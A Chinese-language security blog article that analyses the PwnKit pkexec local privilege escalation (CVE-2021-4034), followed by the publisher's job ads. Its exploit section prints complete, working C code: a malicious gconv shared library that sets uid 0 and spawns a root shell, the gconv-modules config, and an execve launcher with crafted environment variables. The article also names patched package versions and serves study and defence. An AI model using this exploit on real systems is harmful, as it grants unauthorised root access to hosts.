Pwnkit_CVE-2021-4034linux提权分析
2023-3-24 07:40:18 Author: 白帽子(查看原文) 阅读量:23 收藏

STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

漏洞情况

2022 年 1 月 25 日,Qualys 研究团队在 polkit 的 pkexec 中发现了一个内存损坏漏洞,该 SUID 根程序默认安装在每个主要的 Linux 发行版上。这个易于利用的漏洞允许任何非特权用户通过在其默认配置中利用此漏洞来获得易受攻击主机上的完全 root 权限。


据Qualys团队测试,漏洞影响从 2009 年开始的所有 Polkit 版本,且已经在Ubuntu、Debian、Fedora 和 CentOS通过默认安装的polkit获得root权限。Qualys团队还发现polkit 还支持非 Linux 操作系统,例如 Solaris 和 *BSD,但尚未调查它们的可利用性。

这个漏洞已经隐藏了 12 年多,并影响自 2009 年 5 月第一个版本以来的所有 pkexec 版本(commit c8c3d83, “Add a pkexec(1) command”)

pkexec - Execute a command as another user
允许用户以其他用户权限执行命令的工具,如果program参数未指定,会运行默认shell,如果用户名未指定,则会以root管理员权限运行

漏洞细节

根据Qualys发布的文章来看,问题出在以下代码

------------------------------------------------------------------------
435 main (int argc, char *argv[])
436 {

534 for (n = 1; n < (guint) argc; n++)
535 {

568 }

610 path = g_strdup (argv[n]);

629 if (path[0] != '/')
630 {

632 s = g_find_program_in_path (path);

639 argv[n] = path = s;
640 }
------------------------------------------------------------------------

首先需要知道在c语言中, 入口函数main (int argc, char *argv[]),其中argc代表了参数的个数,而argv代表了具体的每个参数

从代码中可以看到,在第534行,遍历argv的个数

此时如果我们不传入参数,则(guint)argc就为0,则n恒为1直接退出for循环
接着往下看到第610行,要求传入argv的值为path赋值

由于n的值为1,那么path=g_strdup(argv[1]),但是由于我们假设的情况是未传入任何参数的,那么就会发生越界读取argv[1]的情况发生,并将指向argv[1]的指针赋值给path,当path[0]不等于‘/'时,又会越界往argv[1]中写入s的值


但是从这个越界的 argv[1] 中读取和写入的到底是什么?还是回过来看文章,作者指出当我们使用execve() 执行一个新程序时,内核将我们的参数、环境字符串和指针(argv 和 envp)复制到新程序堆栈的末尾

|---------+---------+-----+------------|---------+---------+-----+------------|| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] ||----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|V &nbsp; &nbsp; &nbsp; &nbsp; V &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; V &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; V &nbsp; &nbsp; &nbsp; &nbsp; V &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; V"program" "-option" &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; NULL &nbsp; &nbsp; "value" "PATH=name" &nbsp; &nbsp; &nbsp; &nbsp; NULL

显然,因为 argv 和 envp 指针在内存中是连续的,如果 argc 为 0,那么越界 argv[1] 实际上是 envp[0],指向我们的第一个环境变量“value”的指针。


本来尝试修改pkexec来做实验的,但是项目要用meson编译,需要重装本地的libc环境有点麻烦,就改写一下saucer-man的一个简单的代码演示execve针对越界argv是怎么处理的

// a.c# include <stdlib.h># include <stdio.h>
int main(int argc, char *argv[], char** envp){&nbsp;printf("here is a\n");&nbsp;printf("argc:%d\n",argc);&nbsp;printf("argv[0]:%s;argv[1]:%s;argv[2]:%s;\n", argv[0],argv[1],argv[2]);}

// b.c# include <stdio.h># include <stdlib.h># include <unistd.h>
int main(int argc, char *argv[]) {
&nbsp; &nbsp;char *a_argv[]={"./a",NULL};&nbsp; &nbsp;char *a_envp[]={&nbsp; &nbsp; &nbsp; &nbsp;"lol",&nbsp; &nbsp; &nbsp; &nbsp;NULL&nbsp; };&nbsp; &nbsp;execve("./a", a_argv, a_envp);}

a程序的功能,打印第一二是个传入参数。可以看到当我们不进行传参的时候,默认argv[1]为null,而越界读取到的argv[1]为“shell=/bin/bash”

b程序的功能是通过execve去打开a程序,在参数为:char *a_argv[]={"./a",NULL};时,b程序运行效果等同于直接运行a程序

同理当a程序正常传参时,b程序也可以进行响应的调整

//a.c# include <stdlib.h># include <stdio.h>

int main(int argc, char *argv[], char** envp){printf("here is a\n");printf("argc:%d\n",argc);printf("argv[0]:%s;argv[1]:%s;argv[2]:%s;\n", argv[0],argv[1],argv[2]);}

//b.c# include <stdio.h># include <stdlib.h># include <unistd.h>

int main(int argc, char *argv[]) {

&nbsp; char *a_argv[]={"./a","12","34",NULL};&nbsp; char *a_envp[]={&nbsp; &nbsp; &nbsp; "lol",&nbsp; &nbsp; &nbsp; NULL&nbsp; };&nbsp; execve("./a", a_argv, a_envp);}

输出的效果还是一样的

但是当execve参数传入NULL时,就会出现区别

//a.c# include <stdlib.h># include <stdio.h>
int main(int argc, char *argv[], char** envp){printf("here is a\n");printf("argc:%d\n",argc);printf("argv[0]:%s;argv[1]:%s;argv[2]:%s;\n", argv[0],argv[1],argv[2]);}
//b.c# include <stdio.h># include <stdlib.h># include <unistd.h>
int main(int argc, char *argv[]) {
&nbsp; char *a_argv[]={NULL};&nbsp; char *a_envp[]={&nbsp; &nbsp; &nbsp; "lol",&nbsp; &nbsp; &nbsp; NULL&nbsp; };&nbsp; execve("./a", a_argv, a_envp);}

此时对a程序来说,argc变成了0,导致argv[1]直接越界读取了环境变量中的值,那么回过来看pkexec中的问题也是同理,610行argv[1]越界读取到了环境变量的值env,将env赋值给path,然后在632行获取env的绝对路径/usr/bin/env赋值给path,之后又将path赋值回了argv[1],等于绕了一圈环境变量的值被覆盖为了env的绝对路径

用作者的话来说,这种越界写入允许我们将一个“不安全”的环境变量(例如,LD_PRELOAD)重新引入 pkexec 的环境。这些“不安全”变量通常在调用 main() 函数之前从 SUID 程序的环境中删除(通过 ld.so)

但是这种环境变量被覆盖的情况并不会持续太久,在pkexec的702行程序对环境变量进行了清除

EXP利用

首先知道pkexec具备suid的属性,所以如果可以通过pkexec执行命令就可以直接获取root权限。

分析下exp:https://github.com/berdav/CVE-2021-4034

利用分为两部分,首先通过execve改变环境变量的值,然后需要通过某种手段利用环境变量去执行命令,那么现在exp中所使用的方法都是通过pkexec中使用的g_printerr()函数

g_printerr()函数

  • 通过错误消息处理程序输出格式化的消息。默认处理程序只是将消息输出到 stderr,而不附加尾随换行符。通常,format应以自己的换行符结尾。

  • 在环境变量中的CHARSET值不是UTF-8时,g_printerr()函数会调用iconv_t iconv_open(const char* tcode, const char* fromecode)进行编码转换

  • iconv_open()函数获取gconv-modules配置文件路径,并从该配置文件中获取指定字符集.so文件的路径

  • 调用.so文件中的gconv()与gonv_init()函数

那么就可以构造出一条完整的pwnkit劫持的攻击链:

生成恶意so文件 -> 生成恶意gconv-modules配置文件指向so文件 -> 通过execve劫持pkexec的GCONV_PATH环境变量指向恶意配置文件 -> validate_environment_variable()函数检测环境变量不合法 -> 调用g_printerr()函数 -> 运行so文件中的恶意gonv_init()方法 -> 获取root权限
结合代码来看,首先创建一个恶意的so文件,命名为pwnkit.so:.

# include <stdio.h># include <stdlib.h># include <unistd.h>
void gconv(void) {}
void gconv_init(void *step){char * const args[] = { "/bin/sh", NULL };char * const environ[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/bin", NULL };setuid(0);setgid(0);execve(args[0], args, environ);exit(0);}

然后生成一个恶意的配置文件gconv-modules(modules格式介绍):

module UTF-8// PWNKIT// pwnkit 1//从UTF-8转为PWNKIT需要调用pwnkit.so文件

然后通过execve调用pkexec

//cve-2021-4034.c# include <unistd.h>
int main(int argc, char **argv){char * const args[] = {NULL};char * const environ[] = {"pwnkit.so:.","PATH=GCONV_PATH=.","SHELL=/lol/i/do/not/exists","CHARSET=PWNKIT","GIO_USE_VFS=",NULL};return execve("/usr/bin/pkexec", args, environ);}

1.pkexec运行到610行,将pwnkit.so:.赋值给path
2.运行到632行,获取pwnkit.so:.so文件的绝对路径,因为环境变量设置为PATH=GCONV_PATH=.,所以so文件的绝对路径就拼接为:GCONV_PATH=./pwnkit.so:.
3.运行至636行,环境变量被覆盖,使得env[1]被赋值为:GCONV_PATH=./pwnkit.so:.
4.运行到657行开始,pkexec逐一读取环境变量的key和value,并通过validate_environment_variable()函数检查环境变量是否有问题,这里检测到SHELL的值有误(其他exp还有检查XAUTHORITY字段是否包含/、%、..),就会调用g_printerr()函数

5.由于环境变量中的CHARSET值为PWNKIT而非UTF-8(也有exp使用LC_MESSAGES=en_US.UTF-8),所以会调用iconv_open()函数进行编码转换

6.iconv_open()根据环境变量中的GCONV_PATH=./pwnkit.so:.路径(GCONV_PATH以冒号分隔路径名列表),找到gconv-modules配置文件,定位.so文件执行其中代码
7.最后我们注意到exp的最后有一句GIO_USE_VFS=,这是由于在0.114以上版本的pkexec中,增加了一个setenv()函数,2016年打的一个安全补丁:

https://bugs.freedesktop.org/show_bug.cgi?id=95487

作者认为:

没有必要使用 GVFS 从非本地源加载文件,因此最好避免加载 GVFS 代码,并且只依赖 GIO 中的本地实现。

而打上该补丁后,就导致 env环境发生迁移,使得数组越界写的漏洞无法注入恶意环境变量到envp中了,原因详见 [CVE-2021-4034深入分析及漏洞复现](https://xz.aliyun.com/t/10870# toc-3),总结来说就是该补丁导致环境变量的地址不在栈上,也就无法往envp[0]的位置覆盖GCONV_PATH的环境变量,从而导致漏洞利用失败,解决办法就是在exp 的env中,加入GIO_USE_VFS=

漏洞修复

https://gitlab.freedesktop.org/polkit/polkit/-/commit/a2bf5c9c83b6ae46cbd5c779d3055bff81ded683

对参数的情况做了判断

不受影响的范围

CentOS:
CentOS 6:polkit-0.96-11.el6_10.2
CentOS 7:polkit-0.112-26.el7_9.1
CentOS 8.0:polkit-0.115-13.el8_5.1
CentOS 8.2:polkit-0.115-11.el8_2.2
CentOS 8.4:polkit-0.115-11.el8_4.2
Ubuntu:
Ubuntu 14.04 ESM:policykit-1-0.105-4ubuntu3.14.04.6+esm1
Ubuntu 16.04 ESM:policykit-1-0.105-14.1ubuntu0.5+esm1
Ubuntu 18.04 LTS:policykit-1-0.105-20ubuntu0.18.04.6
Ubuntu 20.04 LTS:policykit-1-0.105-26ubuntu1.2
Ubuntu 21.10:policykit-1-0.105-31ubuntu0.1
Debain:

policykit-1 0.105-18+deb9u2
Debain stretch:policykit-1 0.105-18+deb9u2
Debain buster:policykit-1 0.105-25+deb10u1
Debain bullseye:policykit-1 0.105-31+deb11u1
Debain bookworm,bullseye:policykit-1 0.105-31.1

参考文章

https://saucer-man.com/information_security/876.html
https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.114/src/programs/pkexec.c# L401
http://blog.nsfocus.net/linux-polkit-cve-2021-4034/
https://xz.aliyun.com/t/10870# toc-3

征稿通知

知识应该被分享,安全更需携手共进

征稿持续进行中!愿意分享知识经验的小伙伴们可以把自己的知识沉淀稿件投稿至微信:

稿件一经发布将有丰厚的稿费!

RECRUITMENT

招聘启事

安恒雷神众测SRC运营(实习生)
————————
【职责描述】
1.  负责SRC的微博、微信公众号等线上新媒体的运营工作,保持用户活跃度,提高站点访问量;
2.  负责白帽子提交漏洞的漏洞审核、Rank评级、漏洞修复处理等相关沟通工作,促进审核人员与白帽子之间友好协作沟通;
3.  参与策划、组织和落实针对白帽子的线下活动,如沙龙、发布会、技术交流论坛等;
4.  积极参与雷神众测的品牌推广工作,协助技术人员输出优质的技术文章;
5.  积极参与公司媒体、行业内相关媒体及其他市场资源的工作沟通工作。

【任职要求】 
 1.  责任心强,性格活泼,具备良好的人际交往能力;
 2.  对网络安全感兴趣,对行业有基本了解;
 3.  良好的文案写作能力和活动组织协调能力。

简历投递至 

[email protected]

设计师(实习生)

————————

【职位描述】
负责设计公司日常宣传图片、软文等与设计相关工作,负责产品品牌设计。

【职位要求】
1、从事平面设计相关工作1年以上,熟悉印刷工艺;具有敏锐的观察力及审美能力,及优异的创意设计能力;有 VI 设计、广告设计、画册设计等专长;
2、有良好的美术功底,审美能力和创意,色彩感强;

3、精通photoshop/illustrator/coreldrew/等设计制作软件;
4、有品牌传播、产品设计或新媒体视觉工作经历;

【关于岗位的其他信息】
企业名称:杭州安恒信息技术股份有限公司
办公地点:杭州市滨江区安恒大厦19楼
学历要求:本科及以上
工作年限:1年及以上,条件优秀者可放宽

简历投递至 

[email protected]

安全招聘

————————

公司:安恒信息
岗位:Web安全 安全研究员
部门:战略支援部
薪资:13-30K
工作年限:1年+
工作地点:杭州(总部)、广州、成都、上海、北京

工作环境:一座大厦,健身场所,医师,帅哥,美女,高级食堂…

【岗位职责】
1.定期面向部门、全公司技术分享;
2.前沿攻防技术研究、跟踪国内外安全领域的安全动态、漏洞披露并落地沉淀;
3.负责完成部门渗透测试、红蓝对抗业务;
4.负责自动化平台建设
5.负责针对常见WAF产品规则进行测试并落地bypass方案

【岗位要求】
1.至少1年安全领域工作经验;
2.熟悉HTTP协议相关技术
3.拥有大型产品、CMS、厂商漏洞挖掘案例;
4.熟练掌握php、java、asp.net代码审计基础(一种或多种)
5.精通Web Fuzz模糊测试漏洞挖掘技术
6.精通OWASP TOP 10安全漏洞原理并熟悉漏洞利用方法
7.有过独立分析漏洞的经验,熟悉各种Web调试技巧
8.熟悉常见编程语言中的至少一种(Asp.net、Python、php、java)

【加分项】
1.具备良好的英语文档阅读能力;
2.曾参加过技术沙龙担任嘉宾进行技术分享;
3.具有CISSP、CISA、CSSLP、ISO27001、ITIL、PMP、COBIT、Security+、CISP、OSCP等安全相关资质者;
4.具有大型SRC漏洞提交经验、获得年度表彰、大型CTF夺得名次者;
5.开发过安全相关的开源项目;
6.具备良好的人际沟通、协调能力、分析和解决问题的能力者优先;
7.个人技术博客;
8.在优质社区投稿过文章;

岗位:安全红队武器自动化工程师
薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.熟练使用Python、java、c/c++等至少一门语言作为主要开发语言;
2.熟练使用Django、flask 等常用web开发框架、以及熟练使用mysql、mongoDB、redis等数据存储方案;
3:熟悉域安全以及内网横向渗透、常见web等漏洞原理;
4.对安全技术有浓厚的兴趣及热情,有主观研究和学习的动力;
5.具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。

简历投递至

[email protected]

岗位:红队武器化Golang开发工程师

薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.掌握C/C++/Java/Go/Python/JavaScript等至少一门语言作为主要开发语言;
2.熟练使用Gin、Beego、Echo等常用web开发框架、熟悉MySQL、Redis、MongoDB等主流数据库结构的设计,有独立部署调优经验;
3.了解docker,能进行简单的项目部署;
3.熟悉常见web漏洞原理,并能写出对应的利用工具;
4.熟悉TCP/IP协议的基本运作原理;
5.对安全技术与开发技术有浓厚的兴趣及热情,有主观研究和学习的动力,具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式、消息队列等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。

简历投递至

[email protected]

岗位:红队武器化Golang开发工程师

薪资:13-30K
工作年限:2年+
工作地点:杭州(总部)

【岗位职责】
1.负责红蓝对抗中的武器化落地与研究;
2.平台化建设;
3.安全研究落地。

【岗位要求】
1.掌握C/C++/Java/Go/Python/JavaScript等至少一门语言作为主要开发语言;
2.熟练使用Gin、Beego、Echo等常用web开发框架、熟悉MySQL、Redis、MongoDB等主流数据库结构的设计,有独立部署调优经验;
3.了解docker,能进行简单的项目部署;
3.熟悉常见web漏洞原理,并能写出对应的利用工具;
4.熟悉TCP/IP协议的基本运作原理;
5.对安全技术与开发技术有浓厚的兴趣及热情,有主观研究和学习的动力,具备正向价值观、良好的团队协作能力和较强的问题解决能力,善于沟通、乐于分享。

【加分项】
1.有高并发tcp服务、分布式、消息队列等相关经验者优先;
2.在github上有开源安全产品优先;
3:有过安全开发经验、独自分析过相关开源安全工具、以及参与开发过相关后渗透框架等优先;
4.在freebuf、安全客、先知等安全平台分享过相关技术文章优先;
5.具备良好的英语文档阅读能力。

简历投递至

[email protected]

END

长按识别二维码关注我们


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246594&idx=1&sn=dd44701d783161a51a8d3ca5418fd32e&chksm=82ea566bb59ddf7d06b60e57039575afece26621447226fa6e4f594d2dc3c9e7769e3686d638#rd
如有侵权请联系:admin#unsafe.sh